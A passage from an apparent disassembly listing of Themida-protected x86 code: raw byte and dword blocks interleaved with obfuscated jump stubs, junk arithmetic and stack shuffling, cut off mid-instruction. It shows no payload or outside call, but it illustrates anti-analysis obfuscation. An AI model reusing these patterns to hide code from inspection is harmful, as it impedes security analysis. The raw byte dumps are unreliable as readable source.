61h, 1Ah dd 0E7353E8Eh, 817FEF1Eh, 0E520DDEAh, 81C20146h, 0E520DDC2h dd 24048B46h, 0FEFB76E9h, 243C31FFh, 31243C33h, 12E9243Ch dd 59FFFF30h, 14AF68h, 241C8900h, 5C0BBA52h, 0CA81662Fh dd 12EC411Eh, 13F2814Ah, 524C1C31h, 33242C81h, 5B412C51h dd 5133C381h, 0C15A412Ch, 4E902E3h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56451B: ; CODE XREF: Themida_:00557ABAj add edi, 4 jmp loc_55395A ; --------------------------------------------------------------------------- db 1 dd 242C8BEFh, 33C0E950h, 8B66FFFFh, 89512404h, 35FC68E1h dd 14890000h, 0DECFE924h, 0C483FFFFh, 0E2B4E904h, 5666FFFEh dd 678768h, 240C8900h, 49A6B966h, 98C18166h, 66416674h dd 72E6C981h, 99C98166h, 0D9F76676h, 0FF5603E9h db 0FFh ; --------------------------------------------------------------------------- loc_564571: ; CODE XREF: Themida_:00566F96j pop ebx sub dh, 38h sub dh, cl push eax mov al, 4Dh neg al jmp loc_55A325 ; --------------------------------------------------------------------------- db 1, 0F8h, 5Fh dd 811F7305h, 0C331593Dh, 6BE9C231h, 81FFFEE2h, 20035DE6h dd 0E5E68131h, 0C1645E59h, 0EE8104E6h, 0AE5B9767h, 0C681DEF7h dd 1BE3433Fh, 3509C681h, 0E9564AC4h, 0FFFF6EFBh, 427C181h dd 34FF248Bh, 0A1685F24h, 0E900005Ah, 0FFFF6F26h, 5259CD01h dd 4BAh, 0B3CBE900h, 55B8FFFFh, 0C161631Ch, 79E904E0h dd 81000018h, 2930DCF7h, 9EF7810Ah, 89734770h, 0EE815FF8h dd 5D051875h, 2AC3EE81h, 0C6017D20h, 2AC3C681h, 0C6817D20h dd 5D051875h, 0E92434FFh, 0FFFF9D56h, 2474FF50h, 24048B04h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFC46Dh dd 33241C31h, 248B241Ch, 2CD36624h, 0AFE99C24h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56464F: ; CODE XREF: Themida_:0055451Fj mov cl, 0A5h sub dl, cl pop ecx and ch, dl pop edx shl ch, 2 dec ch push ebx mov bh, 3Bh xor bh, 46h shr bh, 4 sub bh, 0E4h shr bh, 6 sub bh, 0C3h sub ch, bh jmp loc_567C1D ; --------------------------------------------------------------------------- db 66h, 0F7h, 1Ch dd 7FE99C24h, 81FFFEE1h, 192F44CDh, 10C5817Ch, 1032650h dd 0EC835DE9h, 24148904h, 0BF57E289h, 7465014h, 0CF81DFF7h dd 49A153DAh, 0F0FE9h, 8BF00100h, 0EFE92434h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646B3: ; CODE XREF: Themida_:00560936j pop esi xchg esi, [esp] mov ebx, [esp] add esp, 4 sub ebx, 0E052BBAEh sub edi, ebx pop ebx add edi, 3F3058E9h and edi, 29A13911h or edi, 3D0D3AA5h sub edi, 7EF34FA4h xor esi, edi pop edi push 51CFh mov [esp], esi xor dword ptr [esp], 266C4ABFh push dword ptr [esp] pop ebx add esp, 4 xor ebx, 266C4ABFh pop esi and eax, ebx pop ebx jmp loc_5594F2 ; --------------------------------------------------------------------------- dd 48BC209h, 4C48324h, 0FFC042E9h db 0FFh ; --------------------------------------------------------------------------- loc_564719: ; CODE XREF: Themida_:00558912j mov ebx, [esp] add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5634C1 ; --------------------------------------------------------------------------- db 1 aPZQ db 'ÏP¸z(ï',0 db 2Dh dd 0A409FB18h, 0FF58C701h, 50592434h, 0FFD52FE9h db 0FFh ; --------------------------------------------------------------------------- loc_564751: ; CODE XREF: Themida_:0055DF79j shr eax, 0Ah xor eax, ecx xor eax, edi xor edi, eax xor eax, edi push 4544h jmp loc_560927 ; --------------------------------------------------------------------------- dw 0E0C1h dd 3E96E902h, 8B66FFFFh, 23E9240Ch, 52FFFF0Eh, 422691BAh dd 0C2814A4Ch, 0EBEAEF3Fh, 200FC381h, 0C38138EAh, 7D0E3E09h dd 0EB81D301h, 7D0E3E09h, 200FEB81h, 4B5A38EAh, 2B60F381h dd 0C2815123h, 5FEF6C8Dh, 0EA81DA01h, 5FEF6C8Dh, 83241C8Bh dd 0C28304C4h, 31FF6804h, 14890000h, 2474FF24h, 6A37E904h dd 0C581FFFFh, 38621CF1h, 0FF7FC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647D9: ; CODE XREF: Themida_:0055CAADj mov edi, 187B15E2h push esi mov esi, 0 sub esi, edi xchg esi, edi jmp loc_558481 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0B2h dd 8BFFFF7Fh, 0E9562424h, 0FFFF2F45h, 31240C33h, 0C33240Ch dd 4D35C24h, 0EFE99C24h, 52FFFEDFh, 0FF437EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564815: ; CODE XREF: Themida_:00562DACj xor ecx, 2CA182E5h add eax, ecx pop ecx push dword ptr [esp] jmp loc_5530D8 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2830000h, 0FB60E904h, 7E68FFFEh, 0E900001Dh dd 0FFFF1CCDh, 8B66F000h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_566705 ; --------------------------------------------------------------------------- loc_56484F: ; CODE XREF: Themida_:005676A8j sub eax, 27437773h jmp loc_55478E ; --------------------------------------------------------------------------- loc_564859: ; CODE XREF: Themida_:0055D041j add bl, dl sub bl, 25h jmp loc_56068B ; --------------------------------------------------------------------------- db 81h dd 8A082444h, 523C1A6Eh, 2A7667BAh, 24540149h, 34FF5A0Ch dd 24348B24h, 4C481h, 70680000h, 89000077h, 0E389241Ch dd 0FF39EAE9h, 8FE956FFh db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564897: ; CODE XREF: Themida_:0055B328j push dword ptr [esp] pop ecx push esi mov esi, esp push edx jmp loc_5659BE ; --------------------------------------------------------------------------- dd 5F2434FFh, 4C481h, 0D8010000h, 7721692Dh, 241C8B7Fh dd 6804C483h, 5758h, 0FF74B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648C5: ; CODE XREF: Themida_:0055C04Aj mov [esp], edx mov edx, 28B554A9h mov ebx, edx pop edx shr ebx, 5 push ebp push 2447112Eh mov ebp, [esp] add esp, 4 push ebx jmp loc_55DCC3 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0FF6873E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648ED: ; CODE XREF: Themida_:005599D4j add eax, ebx pop ebx push edx mov edx, 2 push ebp mov ebp, 4EFB0F55h add eax, 30604A99h add eax, ebp sub eax, 30604A99h jmp loc_5624A0 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 27E92414h, 1FFFF04h, 0EC815FFAh, 4, 50243C89h dd 1449E9h, 0D0E95900h, 89FFFF88h, 12BE2434h, 1359851h dd 34FF5EF0h, 40E95B24h, 8FFFFF84h, 248B2404h, 2434FF24h dd 1B226858h, 3C890000h, 51E78924h, 468h, 0CF015900h, 0E9240C8Bh dd 0FFFF850Bh, 60B503B6h, 3EED80h, 3EC580F5h, 0FFEC005Ah dd 0B0E92434h, 5BFFFF5Dh, 4C381h, 50570000h, 4B8h, 58C78900h dd 1BE9FB01h, 68FFFFA1h, 597Eh, 0FFCD61E9h, 88C381FFh dd 0E95DFD11h, 501h ; --------------------------------------------------------------------------- loc_5649B0: ; CODE XREF: Themida_:00561DE8j not eax add eax, 7D0A5F81h add edx, eax pop eax sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esi mov esi, 639643A8h push ecx push 240475D2h pop ecx not ecx neg ecx sub ecx, 879AB977h jmp loc_562036 ; --------------------------------------------------------------------------- dd 81FA015Bh, 3A16BAEAh, 243C8B00h, 81E38953h, 4C3h, 765CE900h dd 0BA52FFFFh, 4, 4245401h, 5624148Bh, 0FEE1B7E9h, 81D5F7FFh dd 6F6B1EEDh, 5DEA317Bh, 0FEEB6AE9h, 8BF520FFh, 0C4832414h dd 1C31E904h, 59BA0000h, 1EA20A6h, 0E9815BDAh, 12B3CDCh dd 0C181D129h, 12B3CDCh, 0E924148Bh, 0FFFF8FE4h, 4BF57h dd 0C3810000h, 0EDB2A77h, 0BF57FB29h, 0EDB2A77h, 0EEE9FB29h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A67: ; CODE XREF: Themida_:00558700j mov ebx, 505116E0h jmp loc_561E66 ; --------------------------------------------------------------------------- loc_564A71: ; CODE XREF: Themida_:00556C18j mov [esp], edx mov edx, 4D926F52h push 588B842Fh mov esi, [esp] add esp, 4 jmp loc_5554E9 ; --------------------------------------------------------------------------- db 89h, 0CEh, 8Bh dd 0C481240Ch, 4, 0E92434FFh, 0FFFF3AAFh ; --------------------------------------------------------------------------- loc_564A9C: ; CODE XREF: Themida_:00567172j not dword ptr [esp] inc dword ptr [esp] pop esi xor esi, 1FB45187h or esi, 416B2532h jmp loc_5580AF ; --------------------------------------------------------------------------- loc_564AB4: ; CODE XREF: Themida_:00563269j jz loc_55F48A push eax push ebx mov ebx, 264A65C7h shr ebx, 8 inc ebx shr ebx, 6 shl ebx, 5 and ebx, 515F5125h xor ebx, 13013Ch mov eax, ebx pop ebx add eax, 27437773h push esi push ebx mov ebx, 0CA6746Fh mov esi, 5DAC932Dh sub esi, ebx pop ebx xor esi, 5B106FF3h not esi and esi, 5F061193h jmp loc_557F6C ; --------------------------------------------------------------------------- db 29h, 0D6h, 81h dd 2B0E8CEEh, 0C6835A05h, 0E6E94E01h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B13: ; CODE XREF: Themida_:00557BB8j add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 jmp loc_559842 ; --------------------------------------------------------------------------- dd 0E789575Fh, 4C781h, 8FE90000h, 5200001Dh, 0D737FFBAh dd 5AD6290Eh, 2A79E9h, 81E28900h, 4C2h, 9A01E900h, 34FFFFFFh dd 240C8B24h, 8304C483h, 545204C4h, 5224148Bh, 0F69BE954h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564B6E: ; CODE XREF: Themida_:0055A816j pop ebp pop ebx add ebp, 0E9F7BFDBh push 2928h mov [esp], ebp push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 mov ebp, [esp] jmp loc_55BED6 ; --------------------------------------------------------------------------- db 59h, 83h, 0ECh dd 240C8904h, 0BBE9B2B1h, 0C1FFFF11h, 0E8D102E0h, 0E92EA835h dd 58C60172h, 4C68158h, 0E9000000h, 0FFFF9FA4h ; --------------------------------------------------------------------------- loc_564BBC: ; CODE XREF: Themida_:0055DB87j mov [esp], esi push 5F075F43h mov esi, [esp] add esp, 4 neg esi push ecx mov ecx, 14B41B09h sub ecx, 6AB53416h add ecx, 6A35361Bh add ecx, 0F7C31D26h sub esi, 0E3515CFh sub esi, ecx jmp loc_556CAD ; --------------------------------------------------------------------------- db 2Ch, 26h, 0E9h dd 0FFFF0109h, 5A7BEF81h, 0DF016050h, 5A7BC781h, 335B6050h dd 3C31243Ch, 28E8E924h, 0EB800000h, 0E3C38080h, 0FFC5BAE9h dd 241C87FFh, 0E88E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C26: ; CODE XREF: Themida_:00563CD6j add edx, 4 xchg edx, [esp] pop esp push eax push ecx mov ecx, 1E01278h mov eax, 0FE1FED8Ch add eax, ecx pop ecx jmp loc_560B56 ; --------------------------------------------------------------------------- loc_564C44: ; CODE XREF: Themida_:00558DFBj push 2665h jmp loc_555671 ; --------------------------------------------------------------------------- loc_564C4E: ; CODE XREF: Themida_:0055B74Bj mov ecx, esp jmp loc_55D8BA ; --------------------------------------------------------------------------- db 68h, 0F4h, 32h dd 28E90000h, 5CFFFF0Dh, 53C68h, 242C8900h, 0C5815D54h dd 4, 516568h, 24348900h, 0FF12D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_564C7D: ; CODE XREF: Themida_:00559020j mov ebx, esp add ebx, 4 push edx jmp loc_5587A0 ; --------------------------------------------------------------------------- loc_564C8B: ; CODE XREF: Themida_:00559166j mov [esp], ebx mov ebx, 55862257h sub eax, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 41957078h sub eax, ecx jmp loc_56769C ; --------------------------------------------------------------------------- loc_564CAB: ; CODE XREF: Themida_:0055966Ej add ebp, 4 xchg ebp, [esp] pop esp xchg edx, [esp] pop esp push 5EC4h mov [esp], esi mov esi, 6EB40139h shl esi, 8 add esi, 4BFEC704h jmp loc_55D52A ; --------------------------------------------------------------------------- dd 4532E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CDA: ; CODE XREF: Themida_:00567BB2j dec edi dec edi not edi jmp loc_561B41 ; --------------------------------------------------------------------------- loc_564CE3: ; CODE XREF: Themida_:0055FCBAj mov esi, [esp] add esp, 4 xor edx, edx push 4686h mov [esp], ecx push 1F9h mov [esp], edi push 19D3h jmp loc_560DF1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFFE49E9h, 0FC381FFh, 0E959F459h, 0FFFFD891h, 0EC83CB00h dd 0B12E904h, 3C8B0000h, 19B9E924h, 0BD550000h, 427828FDh dd 0D5E9EB01h, 5CFFFF40h, 3C40C781h, 0EF012883h, 3C40EF81h dd 33E92883h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D4B: ; CODE XREF: Themida_:005658E2j mov [esp], ebp mov ebp, 0F1D1417h push esi mov esi, 245C1E68h add ebp, 62080074h sub ebp, esi sub ebp, 62080074h mov esi, [esp] push esi jmp loc_55E93B ; --------------------------------------------------------------------------- loc_564D70: ; CODE XREF: Themida_:00559360j push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55BCE3 ; --------------------------------------------------------------------------- loc_564D7D: ; CODE XREF: Themida_:00566F8Fj add eax, 4 jmp loc_559244 ; --------------------------------------------------------------------------- loc_564D87: ; CODE XREF: Themida_:00552942j push ecx pop eax mov ecx, [esp] jmp loc_55D375 ; --------------------------------------------------------------------------- loc_564D91: ; CODE XREF: Themida_:0055569Ej mov edi, 4BCD3E7Ah shl edi, 8 add edi, 32C1861Ch push ebp mov ebp, edi mov eax, ebp pop ebp jmp loc_5592C8 ; --------------------------------------------------------------------------- loc_564DAA: ; CODE XREF: Themida_:00559B17j or edi, 1C4E0B01h push ecx mov ecx, 6FAC1C3Eh jmp loc_5623D8 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 0FF78D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_564DC9: ; CODE XREF: Themida_:005643B0j add esp, 4 add bl, 4Bh push ecx mov cl, 30h jmp loc_56563F ; --------------------------------------------------------------------------- loc_564DDA: ; CODE XREF: Themida_:0055908Ej xchg ecx, [esp] mov esp, [esp] jmp loc_5629FE ; --------------------------------------------------------------------------- loc_564DE5: ; CODE XREF: Themida_:00561335j mov edi, 64FD49F1h xor edi, 17615E98h sub ecx, edi pop edi jmp loc_5654FA ; --------------------------------------------------------------------------- dd 0CE0080B1h, 2CBDE959h, 4268FFFFh, 5E25127Ah, 5F3CBF57h dd 0CF810490h, 28930847h, 0E53FEF81h, 0FE310780h, 83243C8Bh dd 0E98104C4h, 70546525h, 0C181F101h, 70546525h, 74FF515Eh dd 0E9590424h, 0FFFFB014h ; --------------------------------------------------------------------------- loc_564E3C: ; CODE XREF: Themida_:0055FA6Bj add esi, 0BFA611A3h mov edx, esi jmp loc_552CFF ; --------------------------------------------------------------------------- loc_564E49: ; CODE XREF: Themida_:005599C3j add esi, 4 xchg esi, [esp] pop esp jmp loc_5619D2 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFFC400h, 57240C8Bh, 0EC815F54h, 4, 0BA241489h dd 4, 148BD701h, 19E95524h, 87FFFF79h, 895C240Ch, 76E92404h dd 81FFFFD3h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFDC18h, 0FF7DABBBh dd 5AD3316Ch, 0FFF8CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_564EA9: ; CODE XREF: Themida_:00563E82j pop ecx push ecx push eax jmp loc_55C110 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 4 dd 0FFAC44E9h db 0FFh ; --------------------------------------------------------------------------- loc_564EB9: ; CODE XREF: Themida_:0055DF09j mov [esp], esi push 71CFh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_553968 ; --------------------------------------------------------------------------- db 8Bh dd 4FF2424h, 1FE99C24h, 31FFFED9h, 1C33241Ch, 24248B24h dd 24148966h, 0E99C5066h, 0FFFED90Ah ; --------------------------------------------------------------------------- loc_564EF4: ; CODE XREF: Themida_:005623F7j xor edi, eax pop eax mov ebp, edi jmp loc_55B071 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 0C181E189h, 4, 0FF6195E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F11: ; CODE XREF: Themida_:005627D4j mov [esp], ebx jmp loc_557695 ; --------------------------------------------------------------------------- db 0BFh, 40h, 5Fh dd 0F8016A8Fh, 0FEFB5CE9h, 78CCB9FFh, 0E9C161BCh, 88E98104h dd 1061BC7h, 0BB5359CEh, 71A044A7h, 52DBF743h, 4465BF57h dd 0ADE952FDh, 0E9FFFF18h, 0FFFED8AEh, 549BBB53h, 5C0130D6h dd 5D5B0424h, 549BED81h, 895830D6h, 0DBE95DE9h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F6B: ; CODE XREF: Themida_:0055F92Bj xor dh, 0F5h inc dh or dh, 85h shl dh, 4 jmp loc_55E8C2 ; --------------------------------------------------------------------------- loc_564F7B: ; CODE XREF: Themida_:00566CC9j not ebx xchg ebx, esi xor esi, 43E452D5h push edi mov edi, 7EC37D8h or esi, edi pop edi jmp loc_56555A ; --------------------------------------------------------------------------- db 68h dd 2779h, 0E9240489h, 0FFFFB4ABh, 0D159C831h, 0F7BCE9E8h dd 8B66FFFFh, 0B468240Ch, 89000068h, 0E6E9243Ch, 53FFFFDEh dd 7D7186BBh, 0D5CB8118h, 815A3C07h, 4FFA90EBh, 2343E956h dd 0C7810000h, 4, 47E9h, 0F7D0F700h, 0E76005D0h, 40E9F590h dd 0F7FFFFB4h, 3C8B241Ch, 4C48124h, 0F7000000h, 6E7C1D7h dd 0FFD4D2E9h, 81D7F7FFh, 833542E7h, 81D7F76Dh, 0A333F9C7h dd 6ECDE96Eh, 1433FFFFh, 24143124h, 0E9241433h, 1600h dd 4C781h, 3FE90000h, 50FFFF05h, 0D7C8E99Ch, 0EB81FFFEh dd 0BC02745h, 81E9D329h, 8BFFFF8Dh, 8B662424h, 0A682404h dd 89000004h, 0E955243Ch, 1CB2h, 4C381h, 0C3810000h, 4 dd 0E9241C87h, 0FFFF417Ch ; --------------------------------------------------------------------------- loc_56506C: ; CODE XREF: Themida_:00565B77j mov ecx, 8486C50h mov ebp, 398A0547h xor ebp, ecx pop ecx add ebp, 23070A90h sub esp, 4 jmp loc_565996 ; --------------------------------------------------------------------------- db 89h dd 24348BF7h, 0FF4FFCE9h, 0E9685FFFh, 89000017h, 64E92414h dd 29FFFF2Ch, 24148BD3h, 5204C483h, 0B72575BAh, 5AD1290Ch dd 0C181D901h, 0CB72575h, 0FFBE25E9h db 0FFh ; --------------------------------------------------------------------------- loc_5650BD: ; CODE XREF: Themida_:005644B4j add edx, ebx pop ebx xchg edx, [esp] jmp loc_561C39 ; --------------------------------------------------------------------------- loc_5650C8: ; CODE XREF: Themida_:0055F8E1j pop esp mov [esp], edi push ebp push eax push ebx mov ebx, 2D7357BFh mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55BF09 ; --------------------------------------------------------------------------- dd 0EF80DFF6h, 4EEF808Dh, 88F88850h, 0FE5B58C6h, 0FED6F6CEh dd 46E952CEh, 81FFFFB5h, 6D5F11E9h, 2E1C158h, 0D9F18141h dd 1144860h, 0C20159CAh, 60E0EA81h, 68585C2Eh, 7134h, 0E9242C89h dd 0FFFFCBEBh ; --------------------------------------------------------------------------- loc_565128: ; CODE XREF: Themida_:0055CA92j pop ebx jmp loc_55FB6E ; --------------------------------------------------------------------------- dw 5758h dd 61B9B850h, 89565AD5h, 5EF789C6h, 582434FFh, 5004C483h dd 5791BE56h, 0E6C10774h, 0D8E68106h, 816ECF49h, 6A25EEC6h dd 1D52E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56515E: ; CODE XREF: Themida_:005601DAj mov edx, 3C7C77h sub edx, 3B7C77h and eax, edx push dword ptr [esp] pop edx push 6F6Ah mov [esp], eax sub esp, 4 jmp loc_557E24 ; --------------------------------------------------------------------------- loc_56517F: ; CODE XREF: Themida_:00555705j shl ch, 1 add ch, 2Dh sub al, ch pop ecx sub al, 0F4h jmp loc_55FF4F ; --------------------------------------------------------------------------- dw 0E981h dd 12A80DB8h, 0C181D929h, 12A80DB8h, 0E9CF015Bh, 0FFFF14FFh ; --------------------------------------------------------------------------- loc_5651A4: ; CODE XREF: Themida_:00557AFDj add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp push ebx jmp loc_55F34B ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 8 dd 4406BE56h, 0E6C14391h, 6802h, 34290000h, 0E6C15E24h dd 6BCE8102h, 0E93DF734h, 0FFFF7D4Ah, 0E9E08950h, 0FFFF5CF8h dd 2984ED81h, 0DD011382h, 0E7D7E953h, 0E959FFFEh, 0FFFF8D12h dd 0E924148Bh, 0FFFEE443h, 68240C89h, 38CE7417h, 48C18159h dd 0E92367DFh, 2388h, 3340F281h, 0EB81FCD8h, 52DB1B90h dd 0FF7252E9h, 241431FFh, 0E9241433h, 0FFFF268Ch, 8108E2C1h dd 784F04F2h, 5AD001F7h, 405h, 24048700h, 0DC5EE95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56524E: ; CODE XREF: Themida_:0055445Bj mov [esp], ecx mov ecx, 4 push 964h mov [esp], edi mov edi, 489537D5h sub edi, 41FE259Bh not edi shr edi, 2 dec edi shl edi, 1 sub edi, 638F0F0Eh sub ebx, edi pop edi add ebx, ecx add ebx, 192567D2h pop ecx add ebx, 4 xchg ebx, [esp] mov esp, [esp] or edx, eax jmp loc_55A67B ; --------------------------------------------------------------------------- db 53h dd 0FF35CEE9h, 243C89FFh, 0E953E789h, 1439h, 4E5DEE31h dd 1964F681h, 0E94E4417h, 0FFFF1108h ; --------------------------------------------------------------------------- loc_5652B4: ; CODE XREF: Themida_:0056629Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_563FBE ; --------------------------------------------------------------------------- dd 592434FFh, 8704C483h, 248B2414h, 24148924h, 0FF4E8CE9h dd 4EC81FFh, 89000000h, 0E789243Ch, 4C781h, 0E9550000h dd 0FFFF563Ah, 246C0159h, 1EDAE904h, 0EE810000h, 671E13DCh dd 0BC28EE81h, 8156BA5Dh, 7B372404h, 815D150Bh, 0B7B37EDh dd 6EE95E15h, 89FFFF02h, 4BA2414h, 1000000h, 1C335AD3h dd 241C3124h, 8B241C33h, 48F2424h, 0A9E95C24h, 81FFFF78h dd 0B55848F2h, 0C4B5E9C5h, 6866FFFFh, 89664AC9h, 0F66240Ch dd 5166C8B6h, 0D4A0E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56535E: ; CODE XREF: Themida_:005621ACj push edi mov edi, 1FB01B19h mov esi, edi jmp loc_55759B ; --------------------------------------------------------------------------- db 29h dd 0BF575DEAh, 42703822h, 1EF5F781h, 0EFC1482Ah, 7586805h dd 14890000h, 43E3BA24h, 0D72979EFh, 8324148Bh, 0EC8104C4h dd 4, 0FFF041E9h, 81E789FFh, 4C7h, 15D0E900h, 0C483FFFFh dd 0D44CE904h, 48FFFFEh, 14895C24h, 81E28924h, 4ECh, 240C8900h dd 0FF4132E9h db 0FFh ; --------------------------------------------------------------------------- loc_5653C9: ; CODE XREF: Themida_:00553F5Bj pop ebp push edx jmp loc_555273 ; --------------------------------------------------------------------------- dd 4C781h, 0E9510000h, 0FFFF92EFh, 1B356857h, 3C8B416Bh dd 4C48124h, 55000000h, 0FFAA88E9h, 386859FFh, 89000037h dd 0E189240Ch, 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch dd 0C895C24h, 53B8B524h, 8D3EE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56541E: ; CODE XREF: Themida_:0055626Aj pop eax add edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or eax, eax jmp loc_5632A8 ; --------------------------------------------------------------------------- db 81h dd 7E2D52EEh, 0F7295F3Fh, 0EDF7815Eh, 500A52Fh, 4C5326E9h dd 0BF57F829h, 4C5326E9h, 5F5FF829h, 4EC81h, 4890000h dd 48C1B824h, 0A93544A0h, 81176966h, 0F11493C6h, 81C62928h dd 0F11493EEh, 0C6015828h, 22A7B850h, 5335055Ah, 257DCA01h dd 52971863h, 0FFF716E9h, 0C0C8FEFFh, 792C05E8h, 0FFA53FE9h db 0FFh ; --------------------------------------------------------------------------- loc_565499: ; CODE XREF: Themida_:00552B30j mov [esp], ebx mov ebx, 39EB095Ah xchg edx, ebx neg edx xchg edx, ebx jmp loc_560E79 ; --------------------------------------------------------------------------- dd 1C64C181h, 8E95A8Ch, 49FFFF29h, 0BA52D9F7h, 6643392Bh dd 0D2F7DAF7h, 10846850h, 0E9580FC8h, 0FFFEEF25h, 4EC835Dh dd 57242C89h, 0FD89F789h, 5DE8895Fh, 204E9h, 4EFC000h dd 0E780C7FEh, 9086E9F9h, 5453FFFFh, 0B222E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654FA: ; CODE XREF: Themida_:00564DF3j shl ecx, 2 sub ecx, 0FFFFFFFFh add ecx, 7436027h push ecx jmp loc_55B69C ; --------------------------------------------------------------------------- dd 15DEA31h, 2434FFD7h, 4C4835Ah, 0FF1948E9h db 0FFh ; --------------------------------------------------------------------------- loc_56551D: ; CODE XREF: Themida_:0055C5FAj xor esi, 0C0CE1769h xor eax, esi jmp loc_5613D2 ; --------------------------------------------------------------------------- dw 0CABBh dd 8164105Ch, 0BB6AC8C3h, 81DBF760h, 3F366EF3h, 0E9DE0136h dd 0FFFFDF3Bh, 3FD7BE56h, 0F7295C9Ah, 7AC7815Eh, 310A2AAAh dd 0ABB9E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56555A: ; CODE XREF: Themida_:00564F8Ej shr esi, 3 sub esi, 4A2918BBh add esi, 2C2941C2h add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_5607CB ; --------------------------------------------------------------------------- db 49h dd 8104E9C1h, 0CC66B8F1h, 1AB6E921h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565586: ; CODE XREF: Themida_:0055B917j mov eax, esp add eax, 4 jmp loc_5662BA ; --------------------------------------------------------------------------- dw 8B66h dd 0B68240Ch, 0E9000010h, 0FFFFE2E1h, 34FFD031h, 0E3685A24h dd 89000016h, 26E92404h, 0E9FFFF85h, 0FFFED246h, 8102E7C1h dd 0D1099EF7h, 62EF813Eh, 1D836F6h, 0EA835FFAh, 135AE904h dd 0C4830000h, 3770E904h, 1C33FFFFh, 0F05AE924h, 0EA81FFFFh dd 4, 5C241487h, 68241C89h, 49052891h, 51241C8Bh, 0C181E189h dd 4, 4B850h, 0C1010000h, 240C8758h, 0D9D8E95Ch, 0FF51FFFFh dd 59042474h, 0FF1EF5E9h, 4C481FFh, 1000000h, 0F27AE9F8h dd 34FFFFFFh, 0C4815D24h, 4, 28ABC781h, 6BE91EBEh db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56563F: ; CODE XREF: Themida_:00564DD5j sub bl, cl pop ecx jmp loc_559FC7 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 40504h, 7DE90000h, 89FFFF13h, 6850241Ch dd 35367765h, 11E50558h, 84E93BD4h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56566B: ; CODE XREF: Themida_:00558CA8j push 5F8Bh mov [esp], edi push esi mov esi, 272B6AE4h mov edi, esi pop esi jmp loc_55D85F ; --------------------------------------------------------------------------- loc_565681: ; CODE XREF: Themida_:005550CBj pop ebp pop ebp jmp loc_560C37 ; --------------------------------------------------------------------------- dd 49240BB9h, 2525050Fh, 0D3E928C6h, 33FFFEDDh, 6BE92414h dd 5CFFFFC3h, 8B24048Fh, 34FF2424h, 24048B24h, 4C481h dd 0FA680000h, 0E9000030h, 0FFFF4DDAh, 48F368h, 24348900h dd 0BF57E689h, 653C49F4h, 5F02C781h, 0D7F733A4h, 39E2EF81h dd 0EF810295h, 121FB3CCh, 4E7C14Fh, 0FFB963E9h, 0E8D15EFFh dd 0B13C610Dh, 3A6C2D29h, 8F051BB8h, 1EFF87Bh, 1704E9C2h dd 3C890000h, 34FF5424h, 18E95F24h, 31FFFF46h, 243C8BFDh dd 4C481h, 0E9890000h, 8BC8215Dh, 0E4E9240Ch db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565727: ; CODE XREF: Themida_:005547BAj mov [esp], ebp xor dword ptr [esp], 7B50764Bh pop dword ptr [edi+20h] xor dword ptr [edi+20h], 7B50764Bh mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi push 1668h mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 8153766h mov ebx, ecx pop ecx mov 